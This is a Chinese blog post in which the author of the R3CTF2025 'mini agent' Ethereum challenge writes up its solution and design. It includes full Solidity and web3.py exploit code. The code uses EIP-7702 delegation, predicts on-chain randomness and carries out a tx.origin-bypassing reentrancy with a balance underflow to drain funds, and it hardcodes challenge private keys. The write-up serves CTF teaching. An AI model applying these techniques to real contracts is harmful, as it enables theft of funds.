ranwen's blog

随便写写

R3CTF2025 - mini agent

几个月前,EIP-7702正式上线以太坊主网,账户抽象(合约账户)带来了许多交互上的便捷性,同时也引入了不少额外的攻击面。正好隔壁R3CTF也开始了题目征集,我也准备以这个为基础设计一道简单(指工作量不大)的题目。出题和看别人解题过程中也发生了不少妙妙事情。

题目介绍

简单介绍一下背景和关键部件。具体题目可以看附件。题目中有一个Arena,你需要写一个智能合约作为Agent,与Arena的Boss发起挑战进行回合制战斗。每回合你可以选择如何发起攻击,以及选择一个数字,如果和随机数对应则可以获得攻击的Boost。Agent的代码有限制(通过读字节码的方式限制长度和call类调用)。与Boss获胜后,可以触发提款相关逻辑,但还需要构造一个重入(通过tx.origin限制)以获得足够多的余额以解决题目。

注意题目中用户初始余额为8 ETH,用户可以调用requestBattle来创建一个战斗,题目会自动检查队列中的战斗并以系统随机数参数调用processBattle进行处理。

完整题目附件可以在此下载

题目解法

如果你熟悉EIP-7702,那么本题对你几乎没有任何知识难度。以下假设你已经比较了解EIP-7702的内容了。

对于战斗部分,如果我们直接去写字节码,Agent逻辑实现是几乎不可能的:长度限制太严,不能对外call来计算随机数。不过这个限制可以轻松被EIP-7702绕过:Agent合约通过7702委托到一个真正实现逻辑的地址,此时Agent的字节码是ef00+地址,只需要地址中不含黑名单字节,即可满足所有条件,并实现任意逻辑。为了提高成功率,我们需要枚举一下地址,最简单的办法是不断暴力去new,直到遇到满足条件的地址。我用了一个create2的deployer,提前计算好合适的地址再部署,可以省点gas。

Agent的实现也比较简单,核心逻辑我们直接抄Boss的就行了:使用自己攻击力最高的攻击对方攻击力最高的。针对于随机数部分,尽管初始随机数种子是链下传入的,但我们拥有链上的随机数访问权限,并且我们直接调用就可以获得最新的种子了,进而也可以预测后续的随机数。我们只需要进行随机数预测,直接返回下一个随机数就可以稳定拿到最高级别的Boost了。为了保险起见,最好同时预测后面两个随机数,并确保Boss不会触发到Boost,否则可能会直接输掉。

部署完Agent,设置好委托,便可以注册Agent并请求战斗了。等待服务器完成战斗后就可以拿到10 ETH以上的余额了,进而可以触发提款相关逻辑。

提款部分也需要一次7702:显然提款部分的代码有一个重入漏洞,但是通过了tx.origin==msg.sender限制了必须由EOA调用,进而常规利用合约的重入并不生效。但我们利用EIP-7702,可以让一个EOA既可以发起交易,同时又拥有合约代码。我们给用户地址再部署一个用于重入的合约即可。

但注意到取款函数中,限制了调用的gas为5000,在withdraw中再withdraw是不行的,因为带有value的call需要9000gas。但我们有transfer函数,可以withdraw套transfer。不过实践中还有一个问题:对于storage的修改,如果修改在交易中还未被修改的slot,则需要2900的gas,如果slot是cold的,则还需要额外的2100(具体还更为复杂,涉及到改回和改0的问题,消耗只会更多),这显然是不够的。但我们完全可以提前修改一下这个slot,只需要修改一下交易调用流程:EOA调用自己的work函数,work函数中,先将自己的余额transfer给别人1,之后再发起withdraw请求触发重入,在receive中再次调用transfer,将自己的余额转走,进而使得withdraw结束后的余额发生负溢出,我们就可以为所欲为了。为了节省gas,我的receive函数是手写的yul。另外,中间的利用transfer来warm slot,或许可以通过access list实现,不过gas控制可能更复杂了(手写yul是必要的)。我的实现中,内部消耗的gas不超过2000。

我利用web3.py来实现EIP-7702相关的调用。注意到尽管EIP中提到,authorization list的执行先于交易本身,且列表中条目在验证后,相关账户的nonce会立刻+1,但交易本身的nonce的判定和自增是要高于authorization的。这也意味着,在同一个交易设定自己的委托,并调用自己时,auth的nonce是n+1,而交易本身的nonce是n。当然这个设计是合乎道理的:交易本身的合法性判断是要先于其内容的。

以下是解题代码。需要修改代码中的step并顺序分别执行两次。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

import "forge-ctf/CTFSolver.sol";
import "src/Challenge.sol";
import "forge-std/console.sol";

import "./Deploy.s.sol";

contract Bro {
    constructor() payable {}
    function calls(address payable target, bytes memory data) public payable {
        (bool success, bytes memory returndata) = target.call{value: msg.value}(
            data
        );
        require(success, "call failed");
    }
    fallback() external payable {}
}

contract Agent is IAgent {
    Randomness public randomness;
    
    function shadowRandom(uint256 shadowSeed, address sender) internal view returns (uint256) {
        return uint256(keccak256(abi.encodePacked(block.prevrandao, sender, shadowSeed)));
    }

    constructor() {
    }

    function setRandomness(Randomness _randomness) external {
        randomness = _randomness;
    }

    function acceptBattle(address opponent, uint256 wager) external override returns (bool) {
        return true;
    }

    function tick(
        address opponent,
        uint256 wager,
        uint256 round,
        Arena.Pig[] memory fromPigs,
        Arena.Pig[] memory toPigs
    ) external override returns (uint256 fromWhich, uint256 toWhich, uint256 r) {
        fromWhich = 0;
        toWhich = 0;
        r = 50;

        uint256 maxAttack = 0;
        for (uint256 i = 0; i < fromPigs.length; i++) {
            if (fromPigs[i].health > 0 && fromPigs[i].attack > maxAttack) {
                maxAttack = fromPigs[i].attack;
                fromWhich = i;
            }
        }

        maxAttack = 0;
        for (uint256 i = 0; i < toPigs.length; i++) {
            if (toPigs[i].health > 0 && toPigs[i].attack > maxAttack) {
                maxAttack = toPigs[i].attack;
                toWhich = i;
            }
        }

        //get best r
        while (true)
        {
            uint256 xs = randomness.random();
            uint256 s1 = shadowRandom(xs, address(msg.sender));
            uint256 s2 = shadowRandom(s1, address(msg.sender));

            uint256 r1 = s1 % 100;
            uint256 r2 = s2 % 100;
            
            if(r2 < 40 || r2 > 60) {
                r = r1;
                break;
            }
        }

        return (fromWhich, toWhich, r);
    }
}

contract Guy {
    Arena public immutable arena;
    constructor(Arena _arena) {
        arena = _arena;
    }

    function work() external {
        uint256 ubalance = arena.balanceOf(address(this));
        arena.transfer(address(arena), 1);
        ubalance -= 2;
        assembly {
            tstore(0, ubalance)
        }
        require(ubalance == 10899999999999999998);
        arena.withdraw(ubalance);
        assembly {
            tstore(0, 0)
        }
        arena.withdraw(501 ether - ubalance);
    }

    receive() external payable {
        // uint256 ubalance;
        assembly {
            let ubalance := 10899999999999999998
            if iszero(eq(ubalance, callvalue())) {
                return(0, 0)
            }

            mstore(0x00, shl(224, 0xa9059cbb))
            mstore(0x04, caller())
            mstore(0x24, ubalance)

            pop(call(
                gas(),
                caller(),
                0,
                0,
                0x44,
                0,
                0
            ))
        }
        // arena.transfer(msg.sender,ubalance);
    }

    fallback() external payable {
    }
}

contract Deployer 
{
    // deploy Agent with create2
    bytes32 constant bytecodeHash = keccak256(type(Agent).creationCode);
    constructor()
    {}

    function getAddress(uint256 fromSalt) public view returns (address) {
        bytes32 salt = bytes32(fromSalt);
        return address(uint160(uint256(keccak256(abi.encodePacked(
            bytes1(0xff),
            address(this),
            salt,
            bytecodeHash
        )))));
    }

    function isValidAddress(address addr) public view returns (bool) {
        uint160 addrUint = uint160(addr);
        for(uint256 i = 0; i < 20; i++) {
            uint8 b = uint8(addrUint % 256);
            if((b >= 0xf0 && b <= 0xf2) || (b >= 0xf4 && b <= 0xf5) || (b == 0xff)) {
                return false;
            }
            addrUint /= 256;
        }
        return true;
    }

    function deploy(uint256 fromSalt) external returns (address) {
        while (!isValidAddress(getAddress(fromSalt))) {
            fromSalt++;
        }
        return address(new Agent{salt: bytes32(fromSalt)}());
    }
}

contract Solve is Script {
    function run() public {
        address myaddr = 0xF85432cea25949e96fa2107900E2712523386856;
        uint256 mysk = 0x1c207c3a1fb67290046586a731b44ca2937b39eb116813ee153ba16c63e05d45;
        vm.startBroadcast(mysk);
        console.log(myaddr.balance);
        Challenge chal = Challenge(0xeC977c63bC40119A8746eaA142F87a989216FB26);
        Arena arena = Arena(chal.arena());

        uint256 botkey = 0x1bdfd8808d05ad060c35a35897d684d56c4767fe59316afc3356a6a0b85eccef;
        address bot = vm.addr(botkey);

        console.log("Arena address:", address(arena));
        console.log("Bot address:", address(bot));

        uint256 step = 1;

        if(step == 1)
        {
            Deployer deployer = new Deployer();
            address agentAddress = deployer.deploy(0);
            console.log("Deployer address:", address(deployer));
            console.log("Agent address:", agentAddress);

            address guyAddress = address(new Guy(arena));
            console.log("Guy address:", guyAddress);
        }
        else if(step == 2)
        {
            Agent agent = Agent(bot);
            agent.setRandomness(arena.randomness());
            arena.deposit{value: 7 ether}();

            arena.register(bot);
            arena.claimPig();
            arena.claimPig();
            arena.claimPig();

            arena.requestBattle(address(chal), 5 ether);
        }

        vm.stopBroadcast();        

        // console.log("Solved?", chal.isSolved());
    }
}
from web3 import Web3
from web3.auto import w3 as lw3
from eth_account import Account

rw3 = Web3(Web3.HTTPProvider("http://s1.r3.ret.sh.cn:30320/"))

botsk = "0x1bdfd8808d05ad060c35a35897d684d56c4767fe59316afc3356a6a0b85eccef"
mysk = "0x1c207c3a1fb67290046586a731b44ca2937b39eb116813ee153ba16c63e05d45"

agent_code_address = "0x9641a64880488Bd4962289bB49d75c9FbE15AeD5"
guy_code_address = "0x73ac7fA6406a052f2F1875f583AF9b53FCe1712a"

# myacc=lw3.eth.account.from_key(mysk)
# botacc=lw3.eth.account.from_key(botsk)
myacc = Account.from_key(mysk)
botacc = Account.from_key(botsk)

print("My address:", myacc.address)
print("Bot address:", botacc.address)

chain_id = rw3.eth.chain_id

step = 1

if step == 1:
    auth = {
        "chainId": chain_id,
        "address": agent_code_address,
        "nonce": rw3.eth.get_transaction_count(botacc.address),
    }
    signed_auth = botacc.sign_authorization(auth)

    tx = {
        "chainId": chain_id,
        "nonce": rw3.eth.get_transaction_count(myacc.address),
        "gas": 1_000_000,
        "maxFeePerGas": 10**10,
        "maxPriorityFeePerGas": 1,
        "to": myacc.address,
        "authorizationList": [signed_auth],
        "data": "",
        "type": 4
    }

    signed_tx = myacc.sign_transaction(tx)
    tx_hash = rw3.eth.send_raw_transaction(signed_tx.raw_transaction)
    print("Transaction sent, hash:", tx_hash.hex())
    tx_receipt = rw3.eth.wait_for_transaction_receipt(tx_hash)
    print("Transaction receipt:", tx_receipt)
elif step == 2:
    nonce = rw3.eth.get_transaction_count(myacc.address)
    auth = {
        "chainId": chain_id,
        "address": guy_code_address,
        "nonce": nonce + 1,
    }
    signed_auth = myacc.sign_authorization(auth)

    tx = {
        "chainId": chain_id,
        "nonce": nonce,
        "gas": 1_000_000,
        "maxFeePerGas": 10**10,
        "maxPriorityFeePerGas": 1,
        "to": myacc.address,
        "authorizationList": [signed_auth],
        "data": Web3.keccak(text="work()")[:4],
        "type": 4
    }

    signed_tx = myacc.sign_transaction(tx)
    tx_hash = rw3.eth.send_raw_transaction(signed_tx.raw_transaction)
    print("Transaction sent, hash:", tx_hash.hex())
    tx_receipt = rw3.eth.wait_for_transaction_receipt(tx_hash)
    print("Transaction receipt:", tx_receipt)

我没听过,怎么办

EIP-7702这个东西确实太新了。你去直接问LLM,查ctf相关的wiki或者漏洞确实很难直接查到。不过其实仔细观察不难发现题目中存在许多刻意设计。例如withdraw函数中,uncheck的使用和明显不合理的计算顺序可以预示着这块存在重入,且利用重入是必须的,否则不能满足最终的余额要求。但tx.origin的限制导致传统的重入并不能使用。我们在Google直接搜索tx.origin reentrancy就可以搜到 https://www.certik.com/zh-CN/resources/blog/pectras-eip-7702-redefining-trust-assumptions-of-externally-owned-accounts 这篇文章,详细地介绍了EIP-7702的引入会带来哪些新的攻击面。当仔细了解EIP-7702后,便不难解决本题了。

EIP-7702已经被用于攻击了,但其实只是利用其最基础的设计:当用户不小心在钓鱼网站签署了一个EIP-7702的签名后,其在所有链上的所有钱包都可以被委托到一个恶意攻击合约上,进而可以转出他所有链的所有资产。

题目设计

为了增加题目本身的复杂性,我设计了这个链上随机数Boost的环节,同时也可以强制用户必须使用call类指令才能完成本题,而不是去试图卷字节码长度(如果没有限制的话应该确实是可以的)。为了防止用户试图绕过call,通过链下手段拿到随机数,并提前把需要使用的数字SSTORE到合约内,我使用了链下生成随机数的方式,即os.urandom。因此才有了本题需要先request,再由服务器调用process的流程,每个process都是独立生成的随机数种子,避免了提前获知。而在本题的anvil默认配置下,用户也不存在侦听交易并抢跑的可能。这个流程我在平台中有简单提示,但可惜有不少选手不愿意仔细看平台内容,也不想猜一猜,于是发送了大量ticket。

这种设计下又会引出一个问题:如果战斗本身发生了错误,交易会被revert,进而队列中的请求无法被弹出。在设计中,我也希望在Agent合约返回错误值的时候,应当直接判负而不是取消战斗。因此在代码中,我写了大量的合法性检查、call错误的catch,并在发生错误时直接return。战斗核心逻辑部分应当不会产生错误,因此没有额外再嵌套一层catch;但是调用Agent合约时,如果合约正常返回了,但是返回值不合格式,仍然会在外层调用处revert,而不会被catch捕捉,因此我只能再嵌套一层wrap函数进行返回值的包装并调用(这个是后面才发现的,也没仔细做权限检查,不过不关键)。有选手反映这样导致他调试都不好调,莫名其妙被return掉了,很难去定位是哪的问题,但这也没什么办法,只能手动去检查了。

关于本题中涉及到的Pigs的参数,其实都是我随手敲的。题目中肯定要保证,如果用户不能稳定触发Boost,则一定会被Boss打死,也就意味着Boss的防御肯定得比较高。我也希望战斗比较快地结束,正常情况下大概每个Pig需要被打三次左右。按照这个规则,我随手敲了18个数字,最后验算下来发现居然都满足了,也不难看出这些数字都是非常随意的。如果Boss触发了Boost,那么即使用户每次都能猜中随机数,也有可能被打死。

本题的Randomness合约,我实现了一种非常常见的PRNG算法,即哈希嵌套。其实本来想做一些更复杂的实现的,让用户拿不到完整的seed,必须得通过一些手段才能做到完整的随机数预测,比如做一个限制输出位数的线性同余或者海绵函数。但想了想还是算了,这块没有太大必要去卡人。

在出题时,我原本想再出一个gas优化相关的,使用2300的gas stipend完成重入操作。本题现在的需要提前warm storage的操作也是由这个想法引入的。如果你注意到了本题实现的ERC20调用中都没有相关事件的emit,就是因为我要实现这个目的,因为LOG操作的gas消耗还是挺大的,transfer事件中的LOG3就要消耗接近2000的gas了。当我实现解题代码时,我通过手写yul的方式,gas消耗已经压到2000以内了,但EVM仍然会报错ReentrancySentryOOG错误。其实看到这个错误名就感觉不对劲了。我去翻了一下revm代码,发现EIP-2200(EIP-1706)中额外规定了这个错误:当SSTORE指令执行时,如果当前gasleft不足stipend(2300),则要revert操作。引入这个EIP是因为在早期EVM中,SSTORE的gas消耗计算并没有特别复杂,是一个统一的大约3000的数字,进而在2300内是无法操作SSTORE的,只能拿来emit一些event。但EIP-1283中引入了现在的SSTORE的动态gas消耗机制,也是本题原始的出题点,此时gas最小消耗可能为100,不带gas的transfer内也可以执行SSTORE指令,会导致重入的安全问题,因此提出了新的EIP解决此重入。因此在本题我只能随手把gas改成了5000的限制,希望大家还是要提前warm一下storage才能解决本题,不过这个gas限制就已经不需要手写yul了。

虽然这是一个CTF题,实现的时候我还是希望这是一个真的Arena。例如accept调用中,Agent合约应当拥有主动读取自己和对方pigs的能力,并根据这些信息做判断,因此我把相关变量都设成public的,使得合约都能读取。由于这个对解题没什么必要,我也是懒狗就没测。但赛后有人反映说这个东西其实根本读不了pigs。我搜索了一下才知道,solidity中public变量的默认getter,如果是struct,则其内部的数组是不会返回的。我们都知道数组的getter是必须传入index的,大概也是不想让一次性返回所有数组内容。这个类似的操作在struct中不太好搞,干脆就不返回了。

不过好在新版solidity中对数组的操作更强了。例如可以非常容易地直接copy memory和storage数组。LLM看起来并不知道这个事情,给我补全了非常复杂的代码。内存数组的动态push是肯定不支持的,因为有内存管理的问题。不过居然连pop也是不行的,因此我也没法去把生命值为0的pigs删掉。希望有一天solidity能够继续增强一下数组操作,比如实现常量数组的直接赋值。

题目环境

本题的题目环境是我去年给R3CTF出题时手糊的环境。本来是直接用的paradigm的环境,但在比赛平台上不是很好部署,我就花了两小时糊了一个东西。RPC代理是直接抄的paradigm的,添加了一个额外的init脚本,实际上也就是开anvil和跑forge script。本题脚本还额外添加了一个定时检查并process的部分。

infra中所有交互(proxy和init、init和script)都是通过文件读写进行的,非常的懒。

另外大家可能注意到了,本题的地址和私钥每次启动都是固定的。这是我刻意为之的。打其他CTF的时候,我非常厌恶每次重启docker都需要重新复制所有的变量,因此我有意固定了私钥。这么做看起来会带来额外的安全问题,实际上并不关键:只要你拿不到admin的私钥,就不会对题目造成什么影响。而其他人如果拿到了你的RPC,那么无论你的私钥是什么,他也总可以通过getBlock来获得你的所有交易,抄你的exp。getflag也直接被我放到了主页,希望大家获得flag后都尽快关掉了docker。

其他东西

在比赛中,我收到了一个选手的ticket:他的脚本在本地跑的时候是成功的,但是提交上去后状态不对。提交了request后,系统发出了process,本地使用forge run重新执行process交易后,trace显示选手的Agent获胜,但链上余额实际上是减少了。我最开始也是蒙古的,但感觉不是我的问题。仔细测试了一下,发现forge run模拟的结果和链上是不同的,无论是gas消耗还是最终获胜的event都是不一致的。我怀疑是forge script的问题,找他要了他的代码。看到代码后,我10秒就发现了问题所在:题目中使用block.prevrandao获取链上随机的地方,他的代码直接使用了uint(0)替代。而本地模拟的结果中,block.prevrandao始终为0,因此本地是可以获胜的,但链上不为0因此无法获胜。

我和别人简单讨论了一下这个问题,最初我以为是RPC中并不存在返回block.prevrandao值的方法,因此本地只能使用0进行模拟。但经过测试,发现其他链中并没有这个问题。简单查找资料后,发现EIP-4399中,规定在新的fork中应当使用mixHash域来存储block.prevrandao的值,这个域是在getBlock返回值的。block.prevrandao同时夺舍了DIFFICULTY操作码和mixHash域,属于是把POW的存在完全抹去了(确信)。

但anvil开的链中,返回的mixHash值是全0。测了一下,geth是正确的值。我读了foundry代码,定位到了crates/anvil/src/eth/backend/executor.rs中相关部分,但我并不确定,也懒得补充一些测试代码,于是我提了一个issue(没有写pr)。项目也很快地修复了这个问题,也就改了两行代码。我太懒狗了就没有去水commit。

日期: 2025-07-11

标签: CTF Writeup